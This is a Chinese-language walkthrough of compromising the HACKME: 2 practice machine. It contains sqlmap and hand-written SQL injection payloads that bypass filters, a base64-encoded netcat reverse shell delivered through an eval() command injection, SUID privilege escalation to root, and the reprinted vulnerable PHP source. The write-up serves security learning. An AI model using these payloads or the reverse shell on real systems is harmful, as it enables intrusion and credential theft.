【writeup】HACKME: 2靶机
前言
靶机环境:HACKME: 2下载地址
kali攻击机IP:192.168.119.134
靶机IP:192.168.119.143
过程
寻找切入点
主机发现
nmap -sn 192.168.119.0/24
......
Nmap scan report for 192.168.119.143
Host is up (0.00014s latency).
MAC Address: 00:0C:29:E7:F4:F2 (VMware)
端口扫描
nmap -sS -p- -T5 192.168.119.143
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-04 22:38 CST
Nmap scan report for 192.168.119.143
Host is up (0.00067s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -sS -A -p22,80 -T5 192.168.119.143
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-04 22:39 CST
Nmap scan report for 192.168.119.143
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6b:a8:24:d6:09:2f:c9:9a:8e:ab:bc:6e:7d:4e:b9:ad (RSA)
| 256 ab:e8:4f:53:38:06:2c:6a:f3:92:e3:97:4a:0e:3e:d1 (ECDSA)
|_ 256 32:76:90:b8:7d:fc:a4:32:63:10:cd:67:61:49:d6:c4 (ED25519)
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 00:0C:29:E7:F4:F2 (VMware)
尝试从HTTP寻找切入点
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
dirsearch -t 100 -r -R 1 -u http://192.168.119.143/
......
[22:59:05] 200 - 0B - /config.php
[22:59:07] 200 - 100B - /index.php
[22:59:07] 200 - 100B - /index.php/login/
[22:59:08] 200 - 1KB - /login.php
[22:59:08] 302 - 0B - /logout.php -> login.php
[22:59:10] 200 - 2KB - /register.php
[22:59:11] 403 - 303B - /server-status
[22:59:11] 403 - 304B - /server-status/
[22:59:12] 301 - 320B - /uploads -> http://192.168.119.143/uploads/
访问login.php,没有账号密码,尝试万能密码未成功。
漏洞利用
SQL注入漏洞
有注册页面尝试注册,注册成功后登陆是一个搜索页面。经测试存在注入漏洞,尝试用sqlmap。
sqlmap -u http://192.168.119.143/welcome.php --data "search=1" --dbs --cookie " PHPSESSID=q2t2toj8lhisipgl44hi1imrkc" --tamper space2comment.py --level 3 --risk 3
......
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
......
# 在这里选Y跳过其他DBMSes的时候就会失败,暂时没查到为什么。知道的也可以告知下我。
Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=1' AND (SELECT 1365 FROM (SELECT(SLEEP(5)))okuO) AND 'PXJV'='PXJV
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: search=1' UNION ALL SELECT NULL,NULL,CONCAT(0x7176767171,0x75504e56447a42786b617a764b696155797972714d4c4642736343797262534e79734f67705a7074,0x716b767171)#
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] webapphacking
Database: webapphacking
[2 tables]
+-------+
| books |
| users |
+-------+
获取了users表的信息,superadmin的密码通过在线md5破解网站,获取解密密码Uncrackable
https://www.somd5.com/
Database: webapphacking
Table: users
[7 entries]
+----+--------------+------------+----------------+---------------------------------------------+
| id | name | user | address | pasword |
+----+--------------+------------+----------------+---------------------------------------------+
| 1 | David | user1 | Newton Circles | 5d41402abc4b2a76b9719d911017c592 (hello) |
| 2 | Beckham | user2 | Kensington | 6269c4f71a55b24bad0f0267d9be5508 (commando) |
| 3 | anonymous | user3 | anonymous | 0f359740bd1cda994f8b55330c86d845 (p@ssw0rd) |
| 10 | testismyname | test | testaddress | 05a671c66aefea124cc08b76ea6d30bb (testtest) |
| 11 | superadmin | superadmin | superadmin | 2386acb2cf356944177746fc92523983 |
| 12 | test1 | test1 | test1 | 05a671c66aefea124cc08b76ea6d30bb (testtest) |
| 13 | aaaaaa | aaaaaa | aaaaaa | 0b4e7a0e5fe84ad35fb5f95b9ceeac79 (aaaaaa) |
+----+--------------+------------+----------------+---------------------------------------------+
对获得的用户名进行了爆破,只爆破出来test和test1的密码。用这两个账号登录暂未发现新的可利用点。
看了下数据库sys的version表,获得了mysql和system的版本信息。
Database: sys
Table: version
[1 entry]
+-------------------------+-------------+
| mysql_version | sys_version |
+-------------------------+-------------+
| 5.7.25-0ubuntu0.18.10.2 | 1.5.1 |
+-------------------------+-------------+
root的密码hash
root:*E5D6879EE8B120C4DFDE4B3CEAC85F737FFB218A
debian-sys-maint:*BEF79CAE4AA44198E4E6F9E36FF01A4D4315D87F
搜索功能的SQL语句。
select * from books where bookname like '__REFLECTED_VALUE__%'
命令执行漏洞
登录superadmin账号,页面有一个文件上传功能和用户搜索功能。
- 文件上传功能测试
尝试上传图片马,上传是成功了,但上传成功后没法访问。dirsearch也扫描到了uploads文件夹,返回301响应码,应该是文件上传的路径改了,也没找到其他提示文件上传位置的。(文件上传在uploads子文件夹中,详见总结) - 用户搜索功能测试
这里经过测试是存在命令注入的漏洞。(这里,在做的时候以为的漏洞成因其实不是实际漏洞成因,详见总结)
直接执行命令并不能成功,采用了将命令base64编码的方式绕过。
system(base64_decode('cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xMTkuMTM0IDY2NjYgPiAvdG1wL2Y='));
# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.119.134 6666 > /tmp/f
提权
成功与靶机建立连接后,在靶机上找到了一个suid文件,执行后直接提权到root,达成靶机目标。
www-data@hackme:/var/www/html$ find / -perm -4000 2>/dev/null
/home/legacy/touchmenot
......
www-data@hackme:/home/legacy$ ./touchmenot
./touchmenot
root@hackme:/home/legacy# id
id
uid=0(root) gid=33(www-data) groups=33(www-data)
总结
针对漏洞利用成功和失败做个复盘。
做的时候感觉这个靶机反应很慢。
文件上传利用失败
welcomeadmin.php页面的图片上传功能,通过源代码了解到:
- 文件上传后的路径是在uploads下的year2020文件夹下。这块不知道是否还是通过目录爆破的方式去发现,year2020也算是的有规律的文件名。
- 文件上传限制了文件大小、文件类型,并且我看到有判断文件是否已经存在,我理解能够判断是否已存在,则说明不会对文件名进行更改。
不过想了下,上传成功了,貌似也还是要通过命令执行漏洞来利用。
<?php
$target_dir = "/var/www/html/uploads/year2020/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
// if($check !== false) {
// echo "File is an image - " . $check["mime"] . ".";
// $uploadOk = 1;
// } else {
// echo "File is not an image.";
// $uploadOk = 0;
// }
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// whitelist
//if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
//&& $imageFileType != "gif" ) {
// echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
// $uploadOk = 0;
//}
//blacklist
if($imageFileType == "html" || $imageFileType == "js" || $imageFileType=="php" || $imageFileType=="php3" || $imageFileType=="php4" || $imageFileType=="php5") {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to the uploads folder.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
命令注入漏洞
从源代码可以看出,为何存在命令注入漏洞,为何只有lastname文本框存在注入。
- 在输出lname变量内容的时候,执行了eval()函数。
- 不过在lname变量执行前有一个preg_replace()函数替换输入内容中的分号和空格(效果就是删除分号和空格),所以利用base64编码可以绕过。
<?php
$fname = $_POST["fname"];
$lname = $_POST["lname"];
$lname = preg_replace('/[;\s]/','',$lname);
if($fname=="" || $fname==" " || $lname=="" || $lname==" "){
echo "You have to search with both First and Last name";
}else{
echo "The system is checking the backend for user: ".$fname ." ".$lname." ";
echo "</br>";
echo "</br>";
echo "User ". $fname. " ";
eval("echo ".$lname.";");
echo " cannot be found";
}
?>
SQL注入漏洞
- 对输入的key变量进行正则匹配,正则匹配内容:or、OR、空格、数字=数字,有以上匹配都会替换成空。
- 执行的SQL语句:select * from books where bookname like ‘$key%’ ,这个在做的时候也获取到了,搜索类的功能SQL语句应该都是这个格式,这个例子中是匹配了以变量key开头的字符串,根据实际需求会改变like后面的内容。
做的时候用的sqlmap,了解了以上信息后,重新尝试手工注入下。被过滤的空格用/**/代替。
(回想一开始手工测试判断存在注入点,虽然判断结果是对的,但过程其实是错的。)
<?php
// Initialize the session
session_start();
// Check if the user is logged in, if not then redirect him to login page
if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){
header("location: login.php");
exit;
}
if(isset($_POST['search']))
{
$key=$_POST["search"]; //key=pattern to be searched
$key= preg_replace('/\bor\b/','',$key);
$key= preg_replace('/\bOR\b/','',$key);
$key= preg_replace('/[\s]/','',$key);
$key= preg_replace('/(\d)(=)(\d)/','',$key);
$con=mysqli_connect("localhost","root","hackme1qaz@WSX","webapphacking");
// Check connection
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
$result=mysqli_query($con,"select * from books where bookname like '$key%'");
}
?>
......
<?php
print "<table border='1' cellspacing='3' align='center' cellpadding='4'>
<tr>
<td> <font face='Arial'>Book ID</font> </td>
<td> <font face='Arial'>Book Title</font> </td>
<td> <font face='Arial'>Cost</font> </td>
</tr>";
while($row=mysqli_fetch_assoc($result))
{
print "<tr><td>".$row["id"]."</td><td>".$row["bookname"]."</td><td>".$row["price"]." SGD</td></tr>";
// Print your search variables
}
?>
手工注入语句整理
属于事后整理,知道了过滤条件了。
注入点判断
因为使用‘数字=数字‘会被过滤掉,所以单引号包裹数字来绕过。
a%'/**/and/**/'1'='1'#
#能够返回搜索a结果。
a%'/**/and/**/'1'='2'#
#返回空结果。
账号密码导出
根据防注入的机制,空格会被过滤掉,这里就用/**/替代空格。
a%'union/**/select/**/1,2,3#
a%'/**/union/**/select/**/1,2,TABLE_NAME/**/from/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA='webapphacking'#
a%'/**/union/**/select/**/1,2,COLUMN_NAME/**/from/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_SCHEMA='webapphacking'#
a%'/**/union/**/select/**/1,user,pasword/**/from/**/webapphacking.users#